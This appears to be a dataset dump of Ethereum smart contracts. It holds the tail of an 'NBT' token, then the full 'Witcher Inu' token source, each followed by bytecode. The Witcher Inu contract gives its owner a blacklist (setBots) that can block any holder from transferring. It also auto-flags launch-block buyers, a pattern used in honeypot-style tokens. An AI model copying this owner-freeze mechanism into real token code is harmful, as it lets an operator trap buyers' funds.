Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract NBT is BurnableToken { string public constant name = "New Build Token"; string public constant symbol = "NBT"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 13000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a13565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b6040518082815260200191505060405180910390f35b6103b1610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e0565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611367565b005b6040518060400160405280600f81526020017f4e6577204275696c6420546f6b656e000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a640306dc42000281565b60008111610a2057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6c57600080fd5b6000339050610ac382600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1b826001546114b690919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cea576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7e565b610cfd83826114b690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f4e4254000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4b57600080fd5b610f9d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c257fe5b818303905092915050565b6000808284019050838110156114df57fe5b809150509291505056fea2646970667358221220b89e89db45582d1d963144302f82abeb9e12135509fc7797574599725759f07864736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,830
0x68f3062e07fd4d70ada23d97d5bda8a8f218d38f
/** *Submitted for verification at Etherscan.io on 2021-12-17 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract WITCHERINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e11 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Witcher Inu"; string private constant _symbol = "WINU"; uint private constant _decimals = 9; uint256 private _teamFee = 5; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(5).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(5).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(5).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (60 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setNoTaxMode(bool onoff) external onlyOwner() { _noTaxMode = onoff; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 10, "Team fee cannot be larger than 10%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063b515566a1161008a578063cf9d4afa11610064578063cf9d4afa1461050d578063dd62ed3e14610536578063e6ec64ec14610573578063f2fde38b1461059c57610171565b8063b515566a146104a4578063c9567bf9146104cd578063cf0848f7146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806390d49b9d1461041357806395d89b411461043c578063a9059cbb1461046757610171565b806331c2d8471161012357806331c2d847146102885780633bbac579146102b1578063437823ec146102ee578063476343ee146103175780634b740b161461032e5780635342acb41461035757610171565b806306d8ea6b1461017657806306fdde031461018d578063095ea7b3146101b857806318160ddd146101f557806323b872dd14610220578063313ce5671461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105c5565b005b34801561019957600080fd5b506101a261065a565b6040516101af9190612ae7565b60405180910390f35b3480156101c457600080fd5b506101df60048036038101906101da9190612bb1565b610697565b6040516101ec9190612c0c565b60405180910390f35b34801561020157600080fd5b5061020a6106b5565b6040516102179190612c36565b60405180910390f35b34801561022c57600080fd5b5061024760048036038101906102429190612c51565b6106c6565b6040516102549190612c0c565b60405180910390f35b34801561026957600080fd5b5061027261079f565b60405161027f9190612c36565b60405180910390f35b34801561029457600080fd5b506102af60048036038101906102aa9190612dec565b6107a8565b005b3480156102bd57600080fd5b506102d860048036038101906102d39190612e35565b6108b9565b6040516102e59190612c0c565b60405180910390f35b3480156102fa57600080fd5b5061031560048036038101906103109190612ea0565b61090f565b005b34801561032357600080fd5b5061032c6109e6565b005b34801561033a57600080fd5b5061035560048036038101906103509190612ef9565b610a57565b005b34801561036357600080fd5b5061037e60048036038101906103799190612e35565b610af0565b60405161038b9190612c0c565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b69190612e35565b610b46565b6040516103c89190612c36565b60405180910390f35b3480156103dd57600080fd5b506103e6610b97565b005b3480156103f457600080fd5b506103fd610c1f565b60405161040a9190612f35565b60405180910390f35b34801561041f57600080fd5b5061043a60048036038101906104359190612ea0565b610c48565b005b34801561044857600080fd5b50610451610dfc565b60405161045e9190612ae7565b60405180910390f35b34801561047357600080fd5b5061048e60048036038101906104899190612bb1565b610e39565b60405161049b9190612c0c565b60405180910390f35b3480156104b057600080fd5b506104cb60048036038101906104c69190612dec565b610e57565b005b3480156104d957600080fd5b506104e261104e565b005b3480156104f057600080fd5b5061050b60048036038101906105069190612ea0565b611153565b005b34801561051957600080fd5b50610534600480360381019061052f9190612ea0565b61122a565b005b34801561054257600080fd5b5061055d60048036038101906105589190612f50565b6115c4565b60405161056a9190612c36565b60405180910390f35b34801561057f57600080fd5b5061059a60048036038101906105959190612f90565b61164b565b005b3480156105a857600080fd5b506105c360048036038101906105be9190612e35565b611715565b005b6105cd61180d565b73ffffffffffffffffffffffffffffffffffffffff166105eb610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890613009565b60405180910390fd5b600061064c30610b46565b905061065781611815565b50565b60606040518060400160405280600b81526020017f5769746368657220496e75000000000000000000000000000000000000000000815250905090565b60006106ab6106a461180d565b8484611a8e565b6001905092915050565b600068056bc75e2d63100000905090565b60006106d3848484611c59565b610794846106df61180d565b61078f85604051806060016040528060288152602001613bb360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561180d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229f9092919063ffffffff16565b611a8e565b600190509392505050565b60006009905090565b6107b061180d565b73ffffffffffffffffffffffffffffffffffffffff166107ce610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b90613009565b60405180910390fd5b60005b81518110156108b55760006005600084848151811061084957610848613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108ad90613087565b915050610827565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61091761180d565b73ffffffffffffffffffffffffffffffffffffffff16610935610c1f565b73ffffffffffffffffffffffffffffffffffffffff161461098b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098290613009565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000479050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610a53573d6000803e3d6000fd5b5050565b610a5f61180d565b73ffffffffffffffffffffffffffffffffffffffff16610a7d610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610ad3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aca90613009565b60405180910390fd5b80600c60156101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610b90600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612303565b9050919050565b610b9f61180d565b73ffffffffffffffffffffffffffffffffffffffff16610bbd610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0a90613009565b60405180910390fd5b610c1d6000612371565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c5061180d565b73ffffffffffffffffffffffffffffffffffffffff16610c6e610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbb90613009565b60405180910390fd5b600060046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606040518060400160405280600481526020017f57494e5500000000000000000000000000000000000000000000000000000000815250905090565b6000610e4d610e4661180d565b8484611c59565b6001905092915050565b610e5f61180d565b73ffffffffffffffffffffffffffffffffffffffff16610e7d610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eca90613009565b60405180910390fd5b60005b815181101561104a57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f2b57610f2a613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610fbf5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9e57610f9d613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561103757600160056000848481518110610fdd57610fdc613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061104290613087565b915050610ed6565b5050565b61105661180d565b73ffffffffffffffffffffffffffffffffffffffff16611074610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c190613009565b60405180910390fd5b600c60149054906101000a900460ff16611119576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111090613142565b60405180910390fd5b6001600c60176101000a81548160ff02191690831515021790555042600d81905550610e10600d5461114b9190613162565b600e81905550565b61115b61180d565b73ffffffffffffffffffffffffffffffffffffffff16611179610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146111cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c690613009565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61123261180d565b73ffffffffffffffffffffffffffffffffffffffff16611250610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146112a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129d90613009565b60405180910390fd5b600c60149054906101000a900460ff16156112f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ed9061322a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561135a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137e919061325f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611409919061325f565b6040518363ffffffff1660e01b815260040161142692919061328c565b6020604051808303816000875af1158015611445573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611469919061325f565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908